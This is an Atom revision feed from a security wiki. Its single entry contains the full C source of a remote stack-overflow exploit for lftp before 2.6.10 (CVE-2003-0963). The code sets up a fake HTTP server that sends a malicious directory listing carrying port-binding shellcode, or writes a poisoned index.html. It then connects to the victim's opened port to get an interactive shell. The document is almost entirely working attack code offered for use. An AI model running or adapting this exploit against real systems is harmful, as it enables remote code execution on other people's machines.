<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2003-0963_lftp_2.6.9_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2003-0963 lftp 2.6.9 遠程緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2003-0963_lftp_2.6.9_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2003-0963_lftp_2.6.9_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T03:52:17Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2003-0963_lftp_2.6.9_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2075&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  * lftp remote stack-based overflow exploit by Li0n7 voila fr  *  * Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se  *  * Lftp ve...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2003-0963_lftp_2.6.9_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2075&amp;oldid=prev"/>
		<updated>2021-05-03T12:45:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  * lftp remote stack-based overflow exploit by Li0n7 voila fr  *  * Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se  *  * Lftp ve...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * lftp remote stack-based overflow exploit by Li0n7 voila fr&lt;br /&gt;
 *&lt;br /&gt;
 * Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se&lt;br /&gt;
 *&lt;br /&gt;
 * Lftp versions later than 2.6.10 are prone to a remotly exploitable stack-based&lt;br /&gt;
 * overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc). This&lt;br /&gt;
 * bad coded proof-of-concept demonstrates the exploitation by exploiting the&lt;br /&gt;
 * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets&lt;br /&gt;
 * to be efficient. Please note that this vulnerability is really hard to exploit&lt;br /&gt;
 * since lots of parameters come into play and are different from a platform to another,&lt;br /&gt;
 * for we have to overwrite some variables and registers before overwriting eip.&lt;br /&gt;
 * With some time and lot of patience, you should find your own parameters by using&lt;br /&gt;
 * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited&lt;br /&gt;
 * Bighawk's port binding shellcode not to contain any white character such as \r,\t,\v,&lt;br /&gt;
 * \f,\n or \20 because we are exploiting a sscanf function.&lt;br /&gt;
 *&lt;br /&gt;
 * usage: ./lftp-exp [-f &amp;lt;path&amp;gt;][-p &amp;lt;port&amp;gt;][-r &amp;lt;ret&amp;gt;][-t &amp;lt;target&amp;gt;]&lt;br /&gt;
 * -f &amp;lt;path&amp;gt;: create &amp;lt;path&amp;gt;index.html&lt;br /&gt;
 * -p &amp;lt;port&amp;gt;: run a fake lftp server on port &amp;lt;port&amp;gt; (default: 80)&lt;br /&gt;
 * -r &amp;lt;ret&amp;gt;: return address you would like to use&lt;br /&gt;
 * -t &amp;lt;target&amp;gt;: choose the target among the platforms available&lt;br /&gt;
 * Platforms supported are:&lt;br /&gt;
 * num: 0 - slack 9.0 - 0xbffff770&lt;br /&gt;
 *&lt;br /&gt;
 * For instance: ./lftp-exp -p 80 -t 0&lt;br /&gt;
 * ./lftp-exp -f / -t 0&lt;br /&gt;
 *&lt;br /&gt;
 * A poil !&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define BUFFERSIZE 117 /*!*/&lt;br /&gt;
#define SIZE 256&lt;br /&gt;
&lt;br /&gt;
#define D_BACK 26112&lt;br /&gt;
#define D_RET 0xbffff770&lt;br /&gt;
#define D_PORT 80&lt;br /&gt;
&lt;br /&gt;
#define DUMMY1 0xbffff140 /*!*/&lt;br /&gt;
#define DUMMY2 0xbffff810 /*!*/&lt;br /&gt;
&lt;br /&gt;
#define OK &amp;quot;cd ok, cwd=/\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/* Edited bighawk 78 bytes portbinding shellcode */&lt;br /&gt;
/* size: 80 bytes */&lt;br /&gt;
/* Does not contain any white character i.e \r,\t,\v,\f,\n,\20 */&lt;br /&gt;
&lt;br /&gt;
char shellcode[] =&lt;br /&gt;
&amp;quot;\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0&amp;quot;&lt;br /&gt;
&amp;quot;\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1&amp;quot;&lt;br /&gt;
&amp;quot;\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89&amp;quot;&lt;br /&gt;
&amp;quot;\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e&amp;quot;&lt;br /&gt;
&amp;quot;\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53&amp;quot;&lt;br /&gt;
&amp;quot;\x89\xe1\xb0\x28\x2c\x1d\xcd\x80&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
char badc0ded[] =&lt;br /&gt;
{0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};&lt;br /&gt;
&lt;br /&gt;
char *lftp_versions[] =&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;lftp/2.3&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.4.9&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.5.2&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.0&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.3&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.4&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.5&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.6&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.7&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.8&amp;quot;,&lt;br /&gt;
  &amp;quot;lftp/2.6.9&amp;quot;,&lt;br /&gt;
   &lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
unsigned long ret_addr = D_RET;&lt;br /&gt;
&lt;br /&gt;
int back_connection(long host);&lt;br /&gt;
int check_shellcode(char *host);&lt;br /&gt;
void check_version();&lt;br /&gt;
char * build(char *host);&lt;br /&gt;
int create_file(char *path);&lt;br /&gt;
void wait_connection(int port);&lt;br /&gt;
long resolve_host(u_char *host_name);&lt;br /&gt;
void die(char *argv);&lt;br /&gt;
&lt;br /&gt;
struct os_ret_addr&lt;br /&gt;
{&lt;br /&gt;
  int num;&lt;br /&gt;
  char *plat;&lt;br /&gt;
  long ret;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
struct os_ret_addr exp_os[]=&lt;br /&gt;
{&lt;br /&gt;
  {0,&amp;quot;slack 9.0&amp;quot;,0xbffff770},&lt;br /&gt;
  {0,NULL,0}&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
main(int argc,char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  int i, option, port = D_PORT;&lt;br /&gt;
  long host = 0;&lt;br /&gt;
  char * option_list = &amp;quot;f:p:r:t:&amp;quot;, path[128];&lt;br /&gt;
&lt;br /&gt;
  opterr = 0;&lt;br /&gt;
&lt;br /&gt;
  if (argc &amp;lt; 2) die(argv[0]);&lt;br /&gt;
  while((option = getopt(argc,argv,option_list)) != -1)&lt;br /&gt;
    switch(option)&lt;br /&gt;
    {&lt;br /&gt;
      case 'f':&lt;br /&gt;
      strncpy(path,optarg,sizeof(path)-1);&lt;br /&gt;
      path[sizeof(path)-1] = '\0';&lt;br /&gt;
      create_file(path);&lt;br /&gt;
      return 0;&lt;br /&gt;
      case 'p':&lt;br /&gt;
      port = atoi(optarg);&lt;br /&gt;
      if(port &amp;gt; 65535 || port &amp;lt; 0) exit(-1);&lt;br /&gt;
      break;&lt;br /&gt;
      case 'r':&lt;br /&gt;
      ret_addr = atol(optarg);&lt;br /&gt;
      if(ret_addr &amp;gt; 0xbfffffff || ret_addr &amp;lt; 0x00000000) exit(1);&lt;br /&gt;
      break;&lt;br /&gt;
      case 't':&lt;br /&gt;
      for(i=0; exp_os[i].plat != NULL; i++)&lt;br /&gt;
      if(atoi(optarg) &amp;gt; i || atoi(optarg) &amp;lt; 0)&lt;br /&gt;
      {&lt;br /&gt;
        fprintf(stderr,&amp;quot; Platforms supported are:\n&amp;quot;);&lt;br /&gt;
        for(i=0; exp_os[i].plat != NULL; i++)&lt;br /&gt;
          fprintf(stderr,&amp;quot; num: %i - %s - 0x%x\n&amp;quot;,i,exp_os[i].plat,exp_os[i].ret);&lt;br /&gt;
          exit(1);&lt;br /&gt;
      }&lt;br /&gt;
      ret_addr = exp_os[atoi(optarg)].ret;&lt;br /&gt;
      break;&lt;br /&gt;
      case '?':&lt;br /&gt;
      fprintf(stderr,&amp;quot;[-] option \'%c\' invalid\n&amp;quot;,optopt);&lt;br /&gt;
      die(argv[0]);&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
  wait_connection(port);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
check_shellcode(char *host)&lt;br /&gt;
{&lt;br /&gt;
  int i,j;&lt;br /&gt;
  for(i=0;i&amp;lt;strlen(shellcode);i++)&lt;br /&gt;
    for(j=0;j&amp;lt;strlen(badc0ded);j++)&lt;br /&gt;
      if(shellcode[i] == badc0ded[j])&lt;br /&gt;
      {&lt;br /&gt;
      fprintf(stderr,&amp;quot;[%s] badc0ded shellcode!\n&amp;quot;,host);&lt;br /&gt;
      return -1;&lt;br /&gt;
      }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
check_version(char *version)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for(i=0;i&amp;lt;sizeof(lftp_versions);i++)&lt;br /&gt;
    if(!strcmp(lftp_versions[i],version))&lt;br /&gt;
    {&lt;br /&gt;
      fprintf(stdout,&amp;quot;(vulnerable).\n&amp;quot;);&lt;br /&gt;
      return;&lt;br /&gt;
    }&lt;br /&gt;
  fprintf(stdout,&amp;quot;(not vulnerable).\n&amp;quot;);&lt;br /&gt;
  return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
char&lt;br /&gt;
*build(char *host)&lt;br /&gt;
{&lt;br /&gt;
  char *buffer,*ptr;&lt;br /&gt;
  int i;&lt;br /&gt;
  unsigned long *addr_ptr;&lt;br /&gt;
&lt;br /&gt;
  fprintf(stdout,&amp;quot;[%s] Building evil string to send (using ret 0x%x)...\n&amp;quot;,host,ret_addr);&lt;br /&gt;
&lt;br /&gt;
  buffer = (char *)malloc(SIZE+1);&lt;br /&gt;
&lt;br /&gt;
  if(!buffer)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] Can't allocate memory,exiting...\n&amp;quot;);&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  ptr = buffer;&lt;br /&gt;
  memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));&lt;br /&gt;
  ptr += BUFFERSIZE-strlen(shellcode);&lt;br /&gt;
&lt;br /&gt;
  if((i = check_shellcode(host)) &amp;lt; 0) exit(1);&lt;br /&gt;
&lt;br /&gt;
  for(i=0;i&amp;lt;strlen(shellcode);i++)&lt;br /&gt;
    *ptr++ = shellcode[i];&lt;br /&gt;
&lt;br /&gt;
  /* You might need to modify the padding too */&lt;br /&gt;
  addr_ptr = (long *)ptr;&lt;br /&gt;
  for(i=0;i&amp;lt;24;i++)&lt;br /&gt;
   *(addr_ptr++) = DUMMY1;&lt;br /&gt;
  for(i=0;i&amp;lt;8;i++)&lt;br /&gt;
   *(addr_ptr++) = DUMMY2;&lt;br /&gt;
  *(addr_ptr++) = ret_addr; /* EIP */&lt;br /&gt;
  *(addr_ptr++) = DUMMY2;&lt;br /&gt;
&lt;br /&gt;
  ptr = (char *)addr_ptr;&lt;br /&gt;
  *ptr = 0x0;&lt;br /&gt;
  return buffer;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
create_file(char *path)&lt;br /&gt;
{&lt;br /&gt;
  int fd;&lt;br /&gt;
  char buffer[512], file[256];&lt;br /&gt;
  ssize_t written;&lt;br /&gt;
&lt;br /&gt;
  memset(file,0,256);&lt;br /&gt;
  memset(buffer,0,512);&lt;br /&gt;
&lt;br /&gt;
  strcat(file,path);&lt;br /&gt;
  strcat(file,&amp;quot;index.html&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);&lt;br /&gt;
  if(fd &amp;lt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    exit(0);&lt;br /&gt;
  }&lt;br /&gt;
  snprintf(buffer,512,&amp;quot;&amp;lt;a href=\&amp;quot;/\&amp;quot;&amp;gt;empty&amp;lt;/a&amp;gt; Fri May 30 10:09:06 2001 %s\n&amp;quot;,build(&amp;quot;+&amp;quot;));&lt;br /&gt;
  written = write(fd,buffer,512);&lt;br /&gt;
  if(written != 512)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    exit(0);&lt;br /&gt;
  }&lt;br /&gt;
  close(fd);&lt;br /&gt;
  fprintf(stdout,&amp;quot;[+] File %s successfuly created.\n&amp;quot;,file);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
back_connection(long host)&lt;br /&gt;
{&lt;br /&gt;
  struct sockaddr_in s;&lt;br /&gt;
  u_char sock_buf[4096];&lt;br /&gt;
  fd_set fds;&lt;br /&gt;
  int fd,size;&lt;br /&gt;
  char *command=&amp;quot;/bin/uname -a ; /usr/bin/id;\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
  fd = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;
  if (fd &amp;lt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  s.sin_family = AF_INET;&lt;br /&gt;
  s.sin_port = htons(D_BACK);&lt;br /&gt;
  s.sin_addr.s_addr = host;&lt;br /&gt;
&lt;br /&gt;
  if (connect(fd, (struct sockaddr *)&amp;amp;s, sizeof(struct sockaddr)) == -1)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    close(fd);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  fprintf(stdout, &amp;quot;[+] Let's rock on!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  size = send(fd, command, strlen(command), 0);&lt;br /&gt;
  if(size &amp;lt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    close(fd);&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  for (;;)&lt;br /&gt;
  {&lt;br /&gt;
    FD_ZERO(&amp;amp;fds);&lt;br /&gt;
    FD_SET(0, &amp;amp;fds);&lt;br /&gt;
    FD_SET(fd, &amp;amp;fds);&lt;br /&gt;
&lt;br /&gt;
    if (select(255, &amp;amp;fds, NULL, NULL, NULL) == -1)&lt;br /&gt;
    {&lt;br /&gt;
      fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
      close(fd);&lt;br /&gt;
      exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    memset(sock_buf, 0, sizeof(sock_buf));&lt;br /&gt;
&lt;br /&gt;
    if (FD_ISSET(fd, &amp;amp;fds))&lt;br /&gt;
    {&lt;br /&gt;
      if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)&lt;br /&gt;
      {&lt;br /&gt;
      fprintf(stderr, &amp;quot;[-] Connection closed by remote host,exiting...\n&amp;quot;);&lt;br /&gt;
      close(fd);&lt;br /&gt;
      exit(1);&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      fprintf(stderr, &amp;quot;%s&amp;quot;, sock_buf);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (FD_ISSET(0, &amp;amp;fds))&lt;br /&gt;
    {&lt;br /&gt;
      read(0, sock_buf, sizeof(sock_buf));&lt;br /&gt;
      write(fd, sock_buf, strlen(sock_buf));&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
wait_connection(int port)&lt;br /&gt;
{&lt;br /&gt;
  struct sockaddr_in s;&lt;br /&gt;
  int size, fd, fd2, i, r, cancel = 0;&lt;br /&gt;
  char data[1024], version[32], request[512];&lt;br /&gt;
  char *ptr;&lt;br /&gt;
  long host = 0;&lt;br /&gt;
&lt;br /&gt;
  memset(data,0,1024);&lt;br /&gt;
&lt;br /&gt;
  fprintf(stdout,&amp;quot;[+] Setting up a fake HTTP server...\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
  fd = socket(AF_INET,SOCK_STREAM,0);&lt;br /&gt;
  if(fd &amp;lt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  s.sin_family = AF_INET;&lt;br /&gt;
  s.sin_port = htons(port);&lt;br /&gt;
  s.sin_addr.s_addr = 0;&lt;br /&gt;
&lt;br /&gt;
  bind(fd,(struct sockaddr *) &amp;amp;s,sizeof(s));&lt;br /&gt;
  listen(fd,1);&lt;br /&gt;
  size = sizeof(s);&lt;br /&gt;
  &lt;br /&gt;
  fprintf(stdout,&amp;quot;[+] Awaiting connection on port %i\n&amp;quot;,port);&lt;br /&gt;
&lt;br /&gt;
  while(1)&lt;br /&gt;
  {&lt;br /&gt;
    cancel = 0;&lt;br /&gt;
    fd2 = accept(fd,(struct sockaddr *) &amp;amp;s, &amp;amp;size);&lt;br /&gt;
&lt;br /&gt;
    if(!fork())&lt;br /&gt;
    {&lt;br /&gt;
      close(fd);&lt;br /&gt;
      while(1)&lt;br /&gt;
      {&lt;br /&gt;
      memset(data,0,1024);&lt;br /&gt;
      r = read(fd2,data,1024);&lt;br /&gt;
      if((ptr = strstr(data,&amp;quot;User-Agent: lftp&amp;quot;)) != NULL)&lt;br /&gt;
      {&lt;br /&gt;
        if(strstr(data,&amp;quot;HEAD&amp;quot;))&lt;br /&gt;
        {&lt;br /&gt;
          fprintf(stdout,&amp;quot;[%s] HEAD request received.\n&amp;quot;,inet_ntoa(s.sin_addr));&lt;br /&gt;
          size = send(fd2, OK, strlen(OK), 0);&lt;br /&gt;
          if(size &amp;lt; 0)&lt;br /&gt;
          {&lt;br /&gt;
          fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
          close(fd2);&lt;br /&gt;
          exit(1);&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        if(strstr(data,&amp;quot;GET&amp;quot;))&lt;br /&gt;
        {&lt;br /&gt;
          memset(request,0,512);&lt;br /&gt;
          memset(version,0,32);&lt;br /&gt;
&lt;br /&gt;
          strncpy(version,ptr+12,10);&lt;br /&gt;
          version[sizeof(version)-1] = '\0';&lt;br /&gt;
&lt;br /&gt;
          fprintf(stdout,&amp;quot;[%s] GET request received.\n&amp;quot;,inet_ntoa(s.sin_addr));&lt;br /&gt;
          fprintf(stdout,&amp;quot;[%s] Remote version of lftp: %s &amp;quot;,inet_ntoa(s.sin_addr),version);&lt;br /&gt;
          check_version(version);&lt;br /&gt;
&lt;br /&gt;
          snprintf(request,512,&amp;quot;HTTP/1.1 200 OK\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Server: thttpd/2.21 20apr2001\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Content-Type: text/html\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Date: Sun, 21 Dec 2003 16:29:44 GMT\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Last-Modified: Sun, 21 Dec 2003 16:23:41 GMT\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Accept-Ranges: bytes\n&amp;quot;&lt;br /&gt;
                 &amp;quot;Connection: close\n\n&amp;quot;&lt;br /&gt;
                 &amp;quot;&amp;lt;a href=\&amp;quot;/\&amp;quot;&amp;gt;empty&amp;lt;/a&amp;gt;\tFri May 30 10:09:06 2001 %s\n&amp;quot;,build((char*)inet_ntoa(s.sin_addr)));&lt;br /&gt;
&lt;br /&gt;
          size = send(fd2, request, strlen(request), 0);&lt;br /&gt;
          if(size &amp;lt; 0)&lt;br /&gt;
          {&lt;br /&gt;
          fprintf(stderr,&amp;quot;[-] %s\n&amp;quot;,strerror(errno));&lt;br /&gt;
          close(fd2);&lt;br /&gt;
          exit(1);&lt;br /&gt;
          }&lt;br /&gt;
          sleep(2);&lt;br /&gt;
          host = resolve_host((char *)inet_ntoa(s.sin_addr));&lt;br /&gt;
          back_connection(host);&lt;br /&gt;
          cancel = 1;&lt;br /&gt;
          break;&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
      }&lt;br /&gt;
      if(cancel == 1) break;&lt;br /&gt;
    }&lt;br /&gt;
    close(fd2);&lt;br /&gt;
  }&lt;br /&gt;
  return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
long resolve_host(u_char *host_name)&lt;br /&gt;
{&lt;br /&gt;
  struct in_addr addr;&lt;br /&gt;
  struct hostent *host_ent;&lt;br /&gt;
&lt;br /&gt;
  addr.s_addr = inet_addr(host_name);&lt;br /&gt;
  if (addr.s_addr == -1)&lt;br /&gt;
  {&lt;br /&gt;
    host_ent = gethostbyname(host_name);&lt;br /&gt;
    if (!host_ent) return(0);&lt;br /&gt;
    memcpy((char *)&amp;amp;addr.s_addr, host_ent-&amp;gt;h_addr, host_ent-&amp;gt;h_length);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  return(addr.s_addr);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
die(char *argv)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  fprintf(stdout,&amp;quot;\t Remote exploit for lftp &amp;lt; 2.6.10 by Li0n7 \n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot;\n usage: %s [-f &amp;lt;path&amp;gt;][-p &amp;lt;port&amp;gt;][-r &amp;lt;ret&amp;gt;][-t &amp;lt;target&amp;gt;]\n&amp;quot;,argv);&lt;br /&gt;
  fprintf(stdout,&amp;quot; -f &amp;lt;path&amp;gt;: create &amp;lt;path&amp;gt;index.html\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot; -p &amp;lt;port&amp;gt;: run a fake lftp server on port &amp;lt;port&amp;gt; (default: 80)\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot; -r &amp;lt;ret&amp;gt;: return address you would like to use\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot; -t &amp;lt;target&amp;gt;: choose the target among the platforms available\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot; Platforms supported are:\n&amp;quot;);&lt;br /&gt;
  for(i=0; exp_os[i].plat != NULL; i++)&lt;br /&gt;
    fprintf(stderr,&amp;quot; num: %i - %s - 0x%x\n&amp;quot;,i,exp_os[i].plat,exp_os[i].ret);&lt;br /&gt;
  fprintf(stdout,&amp;quot;\n Vulnerability discovered by Ulf Harnhammar &amp;lt;Ulf.Harnhammar.9485@student.uu.se&amp;gt; \n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot; Contact me: Li0n7@voila.fr\n\n&amp;quot;);&lt;br /&gt;
  exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2004-01-14]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>